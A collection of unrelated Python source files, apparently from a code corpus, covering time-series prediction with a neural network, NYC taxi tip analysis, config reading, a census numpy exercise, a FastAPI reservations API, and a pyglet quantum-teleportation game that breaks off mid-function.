(options, remainder) = parser.parse_args()
print options
return options, remainder
def saveResultToFile(dataSet, predictedInput, algorithmName):
inputFileName = 'data/' + dataSet + '.csv'
inputFile = open(inputFileName, "rb")
csvReader = csv.reader(inputFile)
# skip header rows
csvReader.next()
csvReader.next()
csvReader.next()
outputFileName = './prediction/' + dataSet + '_' + algorithmName + '_pred.csv'
outputFile = open(outputFileName, "w")
csvWriter = csv.writer(outputFile)
csvWriter.writerow(
['timestamp', 'data', 'prediction-' + str(predictionStep) + 'step'])
csvWriter.writerow(['datetime', 'float', 'float'])
csvWriter.writerow(['', '', ''])
for i in xrange(len(sequence)):
row = csvReader.next()
csvWriter.writerow([row[0], row[1], predictedInput[i]])
inputFile.close()
outputFile.close()
if __name__ == "__main__":
(_options, _args) = _getArgs()
dataSet = _options.dataSet
print "run TDNN on ", dataSet
SWARM_CONFIG = SwarmRunner.importSwarmDescription(dataSet)
predictedField = SWARM_CONFIG['inferenceArgs']['predictedField']
nTrain = SWARM_CONFIG["streamDef"]['streams'][0]['last_record']
predictionStep = SWARM_CONFIG['inferenceArgs']['predictionSteps'][0]
useTimeOfDay = True
useDayOfWeek = True
nTrain = 3000
numLags = 100
# prepare dataset as pyBrain sequential dataset
sequence = readDataSet(dataSet)
# standardize data by subtracting mean and dividing by std
meanSeq = np.mean(sequence['data'])
stdSeq = np.std(sequence['data'])
sequence['data'] = (sequence['data'] - meanSeq)/stdSeq
meanTimeOfDay = np.mean(sequence['timeofday'])
stdTimeOfDay = np.std(sequence['timeofday'])
sequence['timeofday'] = (sequence['timeofday'] - meanTimeOfDay)/stdTimeOfDay
meanDayOfWeek = np.mean(sequence['dayofweek'])
stdDayOfWeek = np.std(sequence['dayofweek'])
sequence['dayofweek'] = (sequence['dayofweek'] - meanDayOfWeek)/stdDayOfWeek
(X, T) = getTimeEmbeddedMatrix(sequence, numLags, predictionStep,
useTimeOfDay, useDayOfWeek)
random.seed(6)
net = initializeTDNNnet(nDimInput=X.shape[1],
nDimOutput=1, numNeurons=200)
predictedInput = np.zeros((len(sequence),))
targetInput = np.zeros((len(sequence),))
trueData = np.zeros((len(sequence),))
for i in xrange(nTrain, len(sequence)-predictionStep):
Y = net.activate(X[i])
if i % 336 == 0 and i > numLags:
ds = SupervisedDataSet(X.shape[1], 1)
for i in xrange(i-nTrain, i):
ds.addSample(X[i], T[i])
trainer = BackpropTrainer(net, dataset=ds, verbose=1)
trainer.trainEpochs(30)
predictedInput[i] = Y[-1]
targetInput[i] = sequence['data'][i+predictionStep]
trueData[i] = sequence['data'][i]
print "Iteration {} target input {:2.2f} predicted Input {:2.2f} ".format(
i, targetInput[i], predictedInput[i])
predictedInput = (predictedInput * stdSeq) + meanSeq
targetInput = (targetInput * stdSeq) + meanSeq
trueData = (trueData * stdSeq) + meanSeq
saveResultToFile(dataSet, predictedInput, 'tdnn')
plt.figure()
plt.plot(targetInput)
plt.plot(predictedInput)
plt.xlim([12800, 13500])
plt.ylim([0, 30000])
plt.show()
skipTrain = 6000
from plot import computeSquareDeviation
squareDeviation = computeSquareDeviation(predictedInput, targetInput)
squareDeviation[:skipTrain] = None
nrmse = np.sqrt(np.nanmean(squareDeviation)) / np.nanstd(targetInput)
print "NRMSE {}".format(nrmse)
|
# Print the size of the dataset
import numpy as np
import datetime as dt
import matplotlib.pyplot as plt
import os, json, requests, pickle
from scipy.stats import skew
from shapely.geometry import MultiLineString, Polygon, Point, MultiPoint, MultiPolygon, LinearRing
from scipy.stats import ttest_ind, f_oneway, lognorm, levy, skew, chisquare
#import scipy.stats as st
from sklearn.preprocessing import normalize, scale
from tabulate import tabulate #pretty print of tables. source: http://txt.arboreus.com/2013/03/13/pretty-print-tables-in-python.htmls
import pandas as pd
from scipy.spatial import Delaunay
import numpy as np
import math, warnings
from shapely.ops import cascaded_union, polygonize
import json
from pprint import pprint
import collections
import urllib
import warnings
warnings.filterwarnings('ignore')
# create a function to check if a location is located inside Upper Manhattan
def is_within_bbox(loc,poi):
"""
This function returns 1 if a location loc(lat,lon) is located inside a polygon of interest poi
loc: tuple, (latitude, longitude)
poi: shapely.geometry.Polygon, polygon of interest
"""
return 1*(Point(loc).within(poi))
def plot_area_tips_histogram(data,poi,count,area_name='None'):
"""
This function returns 1 if a location loc(lat,lon) is located inside a polygon of interest poi
poi: shapely.geometry.Polygon, polygon of interest
"""
tic = dt.datetime.now()
# Create a new variable to check if a trip originated in Upper Manhattan
data['U_area'] = data[['pickup_latitude','pickup_longitude']].apply(lambda r:is_within_bbox((r[0],r[1]),poi),axis=1)
print "Processing time ", dt.datetime.now()-tic
# create a vector to contain Tip percentage for
v1 = data[(data.U_area==0) & (data.tip_percentage>0)].tip_percentage
v2 = data[(data.U_area==1) & (data.tip_percentage>0)].tip_percentage
# generate bins and histogram values
bins = np.histogram(v1,bins=3)[1]
h1 = np.histogram(v1,bins=bins)
h2 = np.histogram(v2,bins=bins)
# generate the plot
# First suplot: visualize all data with outliers
fig,ax = plt.subplots(1,1,figsize=(10,5))
w = .4*(bins[1]-bins[0])
ax.bar(bins[:-1],h1[0],width=w,color='b')
ax.bar(bins[:-1]+w,h2[0],width=w,color='g')
ax.set_yscale('log')
ax.set_xlabel('Tip (%)')
ax.set_ylabel('Count')
ax.set_title('Tip')
ax.legend(['Non-Area','Area'],title='origin')
filename = 'hist_area_tips_' + area_name + '_' + str(count)
plt.savefig(filename,format='jpeg')
ttest = ttest_ind(v1,v2,equal_var=False)
print 't-test results:', ttest[0], ttest[1]
return ttest
# Get external geolocation data for geo accosiations
if os.path.exists('d085e2f8d0b54d4590b1e7d1f35594c1pediacitiesnycneighborhoods.geojson.json'): # Check if the dataset is present on local disk and load it
with open('d085e2f8d0b54d4590b1e7d1f35594c1pediacitiesnycneighborhoods.geojson.json') as data_file:
NYC_geo_data = json.load(data_file)
else: # Download geolocation dataset if not available on disk
url = "http://data.beta.nyc//dataset/0ff93d2d-90ba-457c-9f7e-39e47bf2ac5f/resource/35dd04fb-81b3-479b-a074-a27a37888ce7/download/d085e2f8d0b54d4590b1e7d1f35594c1pediacitiesnycneighborhoods.geojson"
urllib.urlretrieve (url, "d085e2f8d0b54d4590b1e7d1f35594c1pediacitiesnycneighborhoods.geojson.json")
with open('d085e2f8d0b54d4590b1e7d1f35594c1pediacitiesnycneighborhoods.geojson.json') as data_file:
NYC_geo_data = json.load(data_file)
dict_level1_len = len(NYC_geo_data['features'])
borough_list = []
for i in range(dict_level1_len):
borough_list.append(NYC_geo_data['features'][i]['properties']['borough'])
borough_list_unique = list(set(borough_list))
neighborhood_list = []
for i in range(dict_level1_len):
neighborhood_list.append(NYC_geo_data['features'][i]['properties']['neighborhood'])
neighborhood_list_unique = list(set(neighborhood_list))
# Download the June 2015 dataset
if os.path.exists('yellow_tripdata_2015-06.csv'): # Check if the dataset is present on local disk and load it
data = pd.read_csv('yellow_tripdata_2015-06.csv')
else: # Download dataset if not available on disk
url = "https://s3.amazonaws.com/nyc-tlc/trip+data/yellow_tripdata_2015-06.csv"
data = pd.read_csv(url)
data.to_csv(url.split('/')[-1])
print "Number of rows:", data.shape[0]
print "Number of columns: ", data.shape[1]
data = data[(data.total_amount>=2.5)] #cleaning
data['tip_percentage'] = 100*data.tip_amount/data.total_amount
print "Summary: Tip percentage\n",data.tip_percentage.describe()
# prepare dictionary for the boroughs in NYC
df_boroughs = pd.DataFrame(borough_list_unique)
df_boroughs = df_boroughs.rename(columns={0: "NYC_borough"})
df_boroughs['poly_list'] = np.empty((len(df_boroughs), 0)).tolist()
dict_boroughs = df_boroughs.set_index('NYC_borough').to_dict()
# for every borough collect the points of interest of the respective sub-areas
for i in range(len(neighborhood_list)):
area_name = NYC_geo_data['features'][i]['properties']['neighborhood']
borough_name = NYC_geo_data['features'][i]['properties']['borough']
poly_indices = NYC_geo_data['features'][i]['geometry']['coordinates']
array_dim = np.asarray(poly_indices).shape[1] * np.asarray(poly_indices).shape[2]
poly_indices_array = np.asarray(poly_indices).reshape(array_dim,)
poly_indices_list = list(poly_indices_array)
it = iter(poly_indices_list)
poly_list_of_tuples = zip(it, it)
poi = Polygon(poly_list_of_tuples)
dict_boroughs['poly_list'][borough_name].append(poi)
# create histogram of tip level for each borough (as origin), compared to all other boroughs
for i in range(len(borough_list_unique)):
borough_name = borough_list_unique[i]
borough_poly = cascaded_union(dict_boroughs['poly_list'][borough_name])
borough_poly_conv_hull = borough_poly.convex_hull
borough_poly_conv_hull_ind = np.asarray(borough_poly_conv_hull.exterior)
borough_poly_conv_hull_ind[:,[0, 1]] = borough_poly_conv_hull_ind[:,[1, 0]]
borough_poly_conv_hull = Polygon(borough_poly_conv_hull_ind)
plot_area_tips_histogram(data,borough_poly_conv_hull,i,borough_name)
|
# App stuff
from app.resources.auth import blueprint as auth_blueprint
from app.resources.health import blueprint as health_blueprint
|
## Helper functions for reading the configuration
import sys, os
import yaml
import results
checks = None
def read_default_config():
if len(sys.argv) < 2:
print "Specify the configuration file on the command-line."
exit()
return read_config(sys.argv[1])
def read_config(filename):
with open(filename, 'r') as fp:
config = yaml.load(fp)
return config
def iterate_valid_targets(config, impacts=None, verbose=True):
root = config['results-root']
do_montecarlo = config['do-montecarlo']
do_rcp_only = config['only-rcp']
allmodels = config['only-models'] if config.get('only-models', 'all') != 'all' else None
if do_montecarlo:
iterator = results.iterate_montecarlo(root)
else:
iterator = results.iterate_byp(root)
# Logic for a given directory
#if root[-1] == '/':
# root = root[0:-1]
#iterator = results.iterate_batch(*os.path.split(root))
for batch, rcp, model, iam, ssp, targetdir in iterator:
if checks is not None and not results.directory_contains(targetdir, checks):
if verbose:
print targetdir, "missing", checks
continue
if do_rcp_only and rcp != do_rcp_only:
print targetdir, "not", do_rcp_only
continue
if allmodels is not None and model not in allmodels:
print targetdir, "not in", allmodels
continue
if impacts is None:
yield batch, rcp, model, iam, ssp, targetdir
else:
# Check that at least one of the impacts is here
for impact in impacts:
if impact + ".nc4" in os.listdir(targetdir):
yield batch, rcp, model, iam, ssp, targetdir
break
|
# Importing header files
import numpy as np
import warnings
warnings.filterwarnings('ignore')
#New record
new_record=[[50, 9, 4, 1, 0, 0, 40, 0]]
#Reading file
data = np.genfromtxt(path, delimiter=",", skip_header=1)
census = np.concatenate((data,new_record))
print(data.shape,census.shape)
#Finding mean age
age = census[:,0]
max_age = max(age)
min_age = min(age)
age_mean = np.mean(age)
age_std = np.std(age)
print(age_mean)
#Finding the minority race
race = census[:,2]
race_0, race_1, race_2, race_3, race_4 = [],[],[],[],[]
for i in race:
if i == 0:
race_0.append(i)
elif i == 1:
race_1.append(i)
elif i == 2:
race_2.append(i)
elif i==3:
race_3.append(i)
else:
race_4.append(i)
len_0 = len(race_0)
len_1 = len(race_1)
len_2 = len(race_2)
len_3 = len(race_3)
len_4 = len(race_4)
races = [len_0,len_1,len_2,len_3,len_4]
min_race = min(races)
minority_race = races.index(min_race)
print(minority_race)
#Finding the average working hours of senior citizens per week
senior_citizens = census[(age>60)]
working_hours_sum = np.sum(senior_citizens[:,6])
senior_citizens_len = len(senior_citizens)
avg_working_hours = working_hours_sum / senior_citizens_len
print(("%.2f") %(avg_working_hours))
#Finding the average pay of highly educated and lowly educated people
education = census[:,1]
high = census[(education > 10)]
low = census[(education <= 10)]
avg_pay_high = np.mean(high[:,7])
avg_pay_low = np.mean(low[:,7])
print(("%.2f") %(avg_pay_high))
print(("%.2f") %(avg_pay_low))
|
try:
from ._version import version as __version__
except ImportError:
__version__ = "0.12.3"
from ._function import napari_experimental_provide_function
from ._dock_widget import napari_experimental_provide_dock_widget |
from fastapi import FastAPI, HTTPException
import db
app = FastAPI()
@app.get("/reservas/")
async def obtener_reservas():
reservas = db.obtener_reservas()
return reservas
@app.post("/reservas/crear/")
async def crear_reserva(reserva: db.Reserva):
creada_exitosamente = db.crear_reserva(reserva)
if creada_exitosamente:
return {"mensaje": "Reserva creada correctamente"}
else:
raise HTTPException(
status_code=400, detail="error, Reserva con ese id ya exisitia")
|
"""
Quantum teleportation game demo
@author: Christian B. Mendl
"""
import numpy as np
import itertools
from enum import IntEnum
import pyglet
from pyglet.window import key
#==============================================================================
# Level geometry
class TileTypes(IntEnum):
"""Types of tiles to assemble a level."""
empty = 0
wall = 1
efield_l = 2
efield_r = 4
efield_u = 8
efield_d = 16
entangler = 32
button = 64
door_l = 128
door_r = 256
door_u = 512
door_d = 1024
# width and height of a square tile, in pixels
tile_size = 64
# define world geometry
levelmap = np.flipud(np.array([
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1],
[ 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1],
[ 1, 0, 0, 0, 0, 130, 0, 0, 0, 0, 0, 0, 0, 1],
[ 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1],
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1],
[ 1, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 1],
[ 1, 64, 0, 0, 0, 1, 1, 1, 1, 8, 1, 1, 1, 1],
[ 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1],
[ 1, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 64, 1],
[ 1, 0, 0, 0, 64, 1, 0, 0, 0, 0, 0, 0, 0, 1],
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]], dtype=int))
#==============================================================================
# Movement and collision detection
class AABB(object):
"""Axis-aligned bounding box."""
def __init__(self, xmin, xmax, ymin, ymax):
self.xmin = xmin
self.xmax = xmax
self.ymin = ymin
self.ymax = ymax
def intersect(self, other):
"""Check intersection with another bounding box."""
return ((self.xmin < other.xmax and self.xmax > other.xmin) and
(self.ymin < other.ymax and self.ymax > other.ymin))
def contains(self, x, y):
"""Test whether bounding box contains point (x, y)."""
return ((self.xmin < x and x < self.xmax) and
(self.ymin < y and y < self.ymax))
# axis-aligned bounding boxes
wall_aabbs = []
efield_l_aabbs = []
efield_r_aabbs = []
efield_u_aabbs = []
efield_d_aabbs = []
button_aabbs = []
door_aabbs = []
for x in range(levelmap.shape[1]):
for y in range(levelmap.shape[0]):
if levelmap[y, x] & (int(TileTypes.wall) | int(TileTypes.entangler)):
wall_aabbs.append(AABB(x*tile_size, (x + 1)*tile_size, y*tile_size, (y + 1)*tile_size))
if levelmap[y, x] & int(TileTypes.efield_l):
efield_l_aabbs.append(AABB(x*tile_size, (x + 1)*tile_size, y*tile_size, (y + 1)*tile_size))
if levelmap[y, x] & int(TileTypes.efield_r):
efield_r_aabbs.append(AABB(x*tile_size, (x + 1)*tile_size, y*tile_size, (y + 1)*tile_size))
if levelmap[y, x] & int(TileTypes.efield_u):
efield_u_aabbs.append(AABB(x*tile_size, (x + 1)*tile_size, y*tile_size, (y + 1)*tile_size))
if levelmap[y, x] & int(TileTypes.efield_d):
efield_d_aabbs.append(AABB(x*tile_size, (x + 1)*tile_size, y*tile_size, (y + 1)*tile_size))
if levelmap[y, x] & int(TileTypes.button):
button_aabbs.append(AABB(x*tile_size, (x + 1)*tile_size, y*tile_size, (y + 1)*tile_size))
if levelmap[y, x] & int(TileTypes.door_l):
door_aabbs.append(AABB(x*tile_size, (x + 0.5)*tile_size, y*tile_size, (y + 1)*tile_size))
if levelmap[y, x] & int(TileTypes.door_r):
door_aabbs.append(AABB((x + 0.5)*tile_size, (x + 1)*tile_size, y*tile_size, (y + 1)*tile_size))
if levelmap[y, x] & int(TileTypes.door_u):
door_aabbs.append(AABB(x*tile_size, (x + 1)*tile_size, (y + 0.5)*tile_size, (y + 1)*tile_size))
if levelmap[y, x] & int(TileTypes.door_d):
door_aabbs.append(AABB(x*tile_size, (x + 1)*tile_size, y*tile_size, (y + 0.5)*tile_size))
button_pressed = len(button_aabbs) * [False]
door_open = len(door_aabbs) * [False]
def aabb_movement_collision_east(box, world_boxes, dist):
"""
Compute maximal movement distance when avoiding world box intersection,
for axis-aligned movement direction to the east.
"""
assert dist >= 0
# actual movement distance
actualdist = dist
# whether we detect an intersection with a world box
its = False
movebox = AABB(box.xmax, box.xmax + dist, box.ymin, box.ymax)
for wb in world_boxes:
if movebox.intersect(wb):
actualdist = min(actualdist, wb.xmin - box.xmax)
its = True
if actualdist < 0:
print('Warning: negative movement distance, already intersecting with a world box before movement?')
return actualdist, its
def aabb_movement_collision_west(box, world_boxes, dist):
"""
Compute maximal movement distance when avoiding world box intersection,
for axis-aligned movement direction to the west.
"""
assert dist >= 0
# actual movement distance
actualdist = dist
# whether we detect an intersection with a world box
its = False
movebox = AABB(box.xmin - dist, box.xmin, box.ymin, box.ymax)
for wb in world_boxes:
if movebox.intersect(wb):
actualdist = min(actualdist, box.xmin - wb.xmax)
its = True
if actualdist < 0:
print('Warning: negative movement distance, already intersecting with a world box before movement?')
return actualdist, its
def aabb_movement_collision_north(box, world_boxes, dist):
"""
Compute maximal movement distance when avoiding world box intersection,
for axis-aligned movement direction to the north.
"""
assert dist >= 0
# actual movement distance
actualdist = dist
# whether we detect an intersection with a world box
its = False
movebox = AABB(box.xmin, box.xmax, box.ymax, box.ymax + dist)
for wb in world_boxes:
if movebox.intersect(wb):
actualdist = min(actualdist, wb.ymin - box.ymax)
its = True
if actualdist < 0:
print('Warning: negative movement distance, already intersecting with a world box before movement?')
return actualdist, its
def aabb_movement_collision_south(box, world_boxes, dist):
"""
Compute maximal movement distance when avoiding world box intersection,
for axis-aligned movement direction to the south.
"""
assert dist >= 0
# actual movement distance
actualdist = dist
# whether we detect an intersection with a world box
its = False
movebox = AABB(box.xmin, box.xmax, box.ymin - dist, box.ymin)
for wb in world_boxes:
if movebox.intersect(wb):
actualdist = min(actualdist, box.ymin - wb.ymax)
its = True
if actualdist < 0:
print('Warning: negative movement distance, already intersecting with a world box before movement?')
return actualdist, its
def aabb_movement_collision(box, world_boxes, dpos):
"""
Update movement vector `dpos` when avoiding axis-aligned world box intersection.
"""
its = False
if dpos[0] < 0:
d, its = aabb_movement_collision_west(box, world_boxes, -dpos[0])
dpos[0] = -d
elif dpos[0] > 0:
d, its = aabb_movement_collision_east(box, world_boxes, dpos[0])
dpos[0] = d
# separate collision detection into x- and y-direction
if dpos[1] > 0:
d, its = aabb_movement_collision_north(box, world_boxes, dpos[1])
dpos[1] = d
elif dpos[1] < 0:
d, its = aabb_movement_collision_south(box, world_boxes, -dpos[1])
dpos[1] = -d
return its
def physics_update(pos, vel, dt, size=0.7*tile_size, wallcollision=True, delta_pos=np.zeros(2), gammafrict=5):
"""Update for a time step `dt` resulting from acceleration by E-fields and collisions with doors or walls."""
# bounding box
box = AABB(pos[0] - 0.5*size, pos[0] + 0.5*size,
pos[1] - 0.5*size, pos[1] + 0.5*size)
inside_field = False
# acceleration by E-fields
acc = 300
if not inside_field:
for ea in efield_l_aabbs:
if box.intersect(ea):
vel[0] -= dt*acc
inside_field = True
break
if not inside_field:
for ea in efield_r_aabbs:
if box.intersect(ea):
vel[0] += dt*acc
inside_field = True
break
if not inside_field:
for ea in efield_u_aabbs:
if box.intersect(ea):
vel[1] += dt*acc
inside_field = True
break
if not inside_field:
for ea in efield_d_aabbs:
if box.intersect(ea):
vel[1] -= dt*acc
inside_field = True
break
# imitate friction
if not inside_field:
vel *= np.exp(-gammafrict*dt)
if np.linalg.norm(vel) < 1e-3:
vel[:] = 0
# proposed update of position
dpos = dt*vel + delta_pos
# reset velocity in case of intersection to avoid run-away accumulation when inside an E-field
if wallcollision:
its = aabb_movement_collision(box, wall_aabbs, dpos)
if its: vel[:] = 0
closed_doors = []
for i in range(len(door_aabbs)):
if not door_open[i]:
closed_doors.append(door_aabbs[i])
its = aabb_movement_collision(box, closed_doors, dpos)
if its: vel[:] = 0
# bias shift to avoid running into obstacles
dpos[0] -= np.sign(dpos[0])*1e-10
dpos[1] -= np.sign(dpos[1])*1e-10
pos += dpos
#==============================================================================
# Game logic
class EntanglerState(IntEnum):
inactive = 0
unfolding = 1
active = 2
class Entangler(object):
"""'Entangler' generating entangled qubit pairs for quantum teleportation."""
_show_time = 0.6
_strob_time = 1.5
def __init__(self, x, y, span=100):
self.sourcepos = np.array([x, y])
# distance of one qubit from the entangler when unfolded
self.span = span
self.reset()
def reset(self):
self.state = EntanglerState.inactive
self.qpos = [self.sourcepos.copy(), self.sourcepos.copy()]
self.qvel = [np.zeros(2), np.zeros(2)]
self.show = False
self.bloch_vec = np.zeros(3)
self._timer = 0
self._unfold_timer = 0
self.entangled = False
# stroboscope index, only used if 'entangled'
self.stroboscope_idx = 0
def activate(self):
"""Activate the entangler (start generating an entangled qubit pair)."""
if self.state == EntanglerState.inactive:
self.state = EntanglerState.unfolding
self._unfold_timer = 1
self.show = True
self.qvel[0][0] = -100
self.qvel[1][0] = 100
self._timer = self._show_time
# draw new random Bloch vector
self.bloch_vec = np.random.normal(size=3)
self.bloch_vec /= np.linalg.norm(self.bloch_vec)
def update(self, dt):
"""Update for a time step 'dt'."""
if self.state == EntanglerState.unfolding:
self._unfold_timer -= dt
# check if unfolding is completed
if self._unfold_timer <= 0:
self.state = EntanglerState.active
if self.state != EntanglerState.inactive:
for i in range(2):
physics_update(self.qpos[i], self.qvel[i], dt, wallcollision=(self.state == EntanglerState.active), gammafrict=0.8)
self._timer -= dt
if self.entangled:
if self._timer <= 0:
self.stroboscope_idx = (self.stroboscope_idx + 1) % 8
# set new timer
self._timer = self._strob_time
else:
if self._timer <= 0:
# switch whether to show Bloch vector
self.show = not self.show
if self.show:
# set new timer
self._timer = self._show_time
# draw new random Bloch vector
self.bloch_vec = np.random.normal(size=3)
self.bloch_vec /= np.linalg.norm(self.bloch_vec)
else:
# set new timer
self._timer = 2 + 1.5*np.random.rand()
entanglers = []
for x in range(levelmap.shape[1]):
for y in range(levelmap.shape[0]):
if levelmap[y, x] & int(TileTypes.entangler):
entanglers.append(Entangler((x + 0.5)*tile_size, (y + 0.5)*tile_size))
player_entangler = None
# which one of the two qubits
player_entangler_qindex = -1
# player position and velocity
player_pos = np.array([3.5*tile_size, 4*tile_size])
player_vel = np.zeros(2)
# Bloch sphere representation
qubit_theta = 0
qubit_theta_dir = 1 # whether currently increasing or decreasing
qubit_phi = 0
# flash after measurement / wavefunction collapse
flash_active = False
flash_time = 0.
flash_duration = 3
game_over = False
#==============================================================================
# Graphics and rendering
window = pyglet.window.Window(levelmap.shape[1]*tile_size, levelmap.shape[0]*tile_size)
window.config.alpha_size = 8
# set window background color to white
pyglet.gl.glClearColor(1, 1, 1, 1)
pyglet.resource.path = ['resources']
pyglet.resource.reindex()
brick_image = pyglet.resource.image('brick.png')
efield_l_image = pyglet.resource.image('efield_left.png')
efield_r_image = pyglet.resource.image('efield_right.png')
efield_u_image = pyglet.resource.image('efield_up.png')
efield_d_image = pyglet.resource.image('efield_down.png')
entangler_image = pyglet.resource.image('entangler.png')
button_red_image = pyglet.resource.image('button_red.png')
button_green_image = pyglet.resource.image('button_green.png')
bloch_sphere_image = pyglet.resource.image('bloch_sphere.png')
doors = [pyglet.resource.image('door{}.png'.format(i)) for i in range(9)]
# TODO: also support door_r, door_u, door_d
door_l_open_anim = pyglet.image.Animation.from_image_sequence(doors, duration=0.2, loop=False)
door_l_close_anim = pyglet.image.Animation.from_image_sequence(reversed(doors), duration=0.2, loop=False)
main_batch = pyglet.graphics.Batch()
levelmap_sprites = []
button_red_sprites = []
button_green_sprites = []
door_open_sprites = []
door_close_sprites = []
for x in range(levelmap.shape[1]):
for y in range(levelmap.shape[0]):
if levelmap[y, x] & int(TileTypes.wall):
levelmap_sprites.append(pyglet.sprite.Sprite(brick_image, x*tile_size, y*tile_size, batch=main_batch))
if levelmap[y, x] & int(TileTypes.efield_l):
levelmap_sprites.append(pyglet.sprite.Sprite(efield_l_image, x*tile_size, y*tile_size, batch=main_batch))
if levelmap[y, x] & int(TileTypes.efield_r):
levelmap_sprites.append(pyglet.sprite.Sprite(efield_r_image, x*tile_size, y*tile_size, batch=main_batch))
if levelmap[y, x] & int(TileTypes.efield_u):
levelmap_sprites.append(pyglet.sprite.Sprite(efield_u_image, x*tile_size, y*tile_size, batch=main_batch))
if levelmap[y, x] & int(TileTypes.efield_d):
levelmap_sprites.append(pyglet.sprite.Sprite(efield_d_image, x*tile_size, y*tile_size, batch=main_batch))
if levelmap[y, x] & int(TileTypes.entangler):
levelmap_sprites.append(pyglet.sprite.Sprite(entangler_image, x*tile_size, y*tile_size, batch=main_batch))
if levelmap[y, x] == TileTypes.button:
button_red_sprites.append(pyglet.sprite.Sprite(button_red_image, x*tile_size, y*tile_size))
button_green_sprites.append(pyglet.sprite.Sprite(button_green_image, x*tile_size, y*tile_size))
if levelmap[y, x] & int(TileTypes.door_l):
door_open_sprites. append(pyglet.sprite.Sprite(door_l_open_anim, x*tile_size, y*tile_size))
door_close_sprites.append(pyglet.sprite.Sprite(door_l_close_anim, x*tile_size, y*tile_size))
# TODO: also support door_r, door_u, door_d
bloch_sphere_sprite = pyglet.sprite.Sprite(bloch_sphere_image, 0, 0)
wire_door_batch = pyglet.graphics.Batch()
wire_door_batch.add(5, pyglet.gl.GL_LINE_STRIP, None,
('v2f',
( 1.0*tile_size, 4.5*tile_size,
0.5*tile_size, 4.5*tile_size,
0.5*tile_size, 10.5*tile_size,
5.2*tile_size, 10.5*tile_size,
5.2*tile_size, 9.0*tile_size)),
('c3B', (0, 255, 0,
0, 255, 0,
0, 255, 0,
0, 255, 0,
0, 255, 0)))
wire_entangler_batch = pyglet.graphics.Batch()
wire_entangler_batch.add(8, pyglet.gl.GL_LINE_STRIP, None,
('v2f',
( 5.5*tile_size, 2.0*tile_size,
5.5*tile_size, 1.5*tile_size,
5.0*tile_size, 1.5*tile_size,
5.5*tile_size, 1.5*tile_size,
5.5*tile_size, 0.5*tile_size,
13.5*tile_size, 0.5*tile_size,
13.5*tile_size, 2.5*tile_size,
13.0*tile_size, 2.5*tile_size)),
('c3B', (0, 255, 0,
0, 255, 0,
0, 255, 0,
0, 255, 0,
0, 255, 0,
0, 255, 0,
0, 255, 0,
0, 255, 0)))
doc_move_label = pyglet.text.Label('Use arrow keys to move!', x=3.0*tile_size, y=5.5*tile_size, color=(0, 0, 255, 255), anchor_x='center', anchor_y='center')
doc_teleport_label = pyglet.text.Label('Hit SPACE to teleport when entangled!', x=9.5*tile_size, y=3.5*tile_size, color=(0, 0, 255, 255), anchor_x='center', anchor_y='center')
goal_label = pyglet.text.Label('Bring player here!', x=3.0*tile_size, y=8.5*tile_size, color=(0, 0, 255, 255), anchor_x='center', anchor_y='center')
game_over_label = pyglet.text.Label("Congrats, you've solved it!", x=3.0*tile_size, y=8.5*tile_size, color=(255, 0, 0, 255), anchor_x='center', anchor_y='center')
class MessageState(IntEnum):
"""Message display state."""
nascent = 0
display = 1
hidden = 2
show_doc_move = MessageState.display
show_doc_teleport = MessageState.nascent
show_goal = MessageState.display
show_game_over = MessageState.nascent
def draw_bloch(center, sprite, r, color=(0, 1, 0)):
"""Draw the Bloch sphere and vector 'r'."""
sprite.x = center[0] - sprite.image.width/2
sprite.y = center[1] - sprite.image.height/2
sprite.draw()
# fast return if Bloch vector is 'None'
if r is None: return
# Bloch sphere radius, in pixels
radius = 28
btip = (center[0] + radius*r[1], center[1] + radius*r[2])
# draw Bloch vector tip point as small disk
ntip = 16
tiptriind = tuple(itertools.chain(*[[ntip, i, (i+1) % ntip] for i in range(ntip)]))
tipcircind = tuple(itertools.chain(*[[i, (i+1) % ntip] for i in range(ntip)]))
tipverts = ('v2f',
tuple(itertools.chain(
*[[btip[0] + (4 + 1.5*r[0])*np.cos(2*np.pi*i/ntip),
btip[1] + (4 + 1.5*r[0])*np.sin(2*np.pi*i/ntip)] for i in range(ntip)])) + btip)
pyglet.gl.glLineWidth(1.0)
if r[0] >= 0:
# draw vector shaft first, then tip disk
pyglet.graphics.draw(2, pyglet.gl.GL_LINES,
('v2f', center + btip),
('c3B', 2*(0, 0, 0)))
pyglet.graphics.draw_indexed(ntip + 1, pyglet.gl.GL_TRIANGLES, tiptriind,
tipverts, ('c3f', (ntip + 1)*tuple(color)))
pyglet.graphics.draw_indexed(ntip + 1, pyglet.gl.GL_LINES, tipcircind,
tipverts, ('c3f', (ntip + 1)*(0, 0, 0)))
else:
# draw tip disk first, then vector shaft
pyglet.graphics.draw_indexed(ntip + 1, pyglet.gl.GL_TRIANGLES, tiptriind,
tipverts, ('c3f', (ntip + 1)*tuple(color)))
pyglet.graphics.draw_indexed(ntip + 1, pyglet.gl.GL_LINES, tipcircind,
tipverts, ('c3f', (ntip + 1)*(0, 0, 0)))
pyglet.graphics.draw(2, pyglet.gl.GL_LINES,
('v2f', center + btip),
('c3B', 2*(0, 0, 0)))
#==============================================================================
# Event listeners and integration of all modules
@window.event
def on_key_press(symbol, modifiers):
global flash_active, flash_time
global player_pos
global player_entangler, player_entangler_qindex
global show_doc_move, show_doc_teleport
if symbol == key.SPACE:
if (player_entangler is not None) and (not flash_active):
# teleport; flash symbolizes measurement and wavefunction collapse
flash_active = True
flash_time = 0.
player_pos = player_entangler.qpos[1 - player_entangler_qindex]
player_entangler.reset()
player_entangler = None
player_entangler_qindex = -1
show_doc_teleport = MessageState.hidden
elif symbol == key.LEFT or symbol == key.RIGHT or symbol == key.UP or symbol == key.DOWN or symbol == key.A or symbol == key.D or symbol == key.W or symbol == key.S:
show_doc_move = MessageState.hidden
keys = key.KeyStateHandler()
window.push_handlers(keys)
def spherical_to_cartesian(theta, phi):
return np.array([np.cos(phi)*np.sin(theta), np.sin(phi)*np.sin(theta), np.cos(theta)])
@window.event
def on_draw():
window.clear()
pyglet.gl.glEnable(pyglet.gl.GL_BLEND)
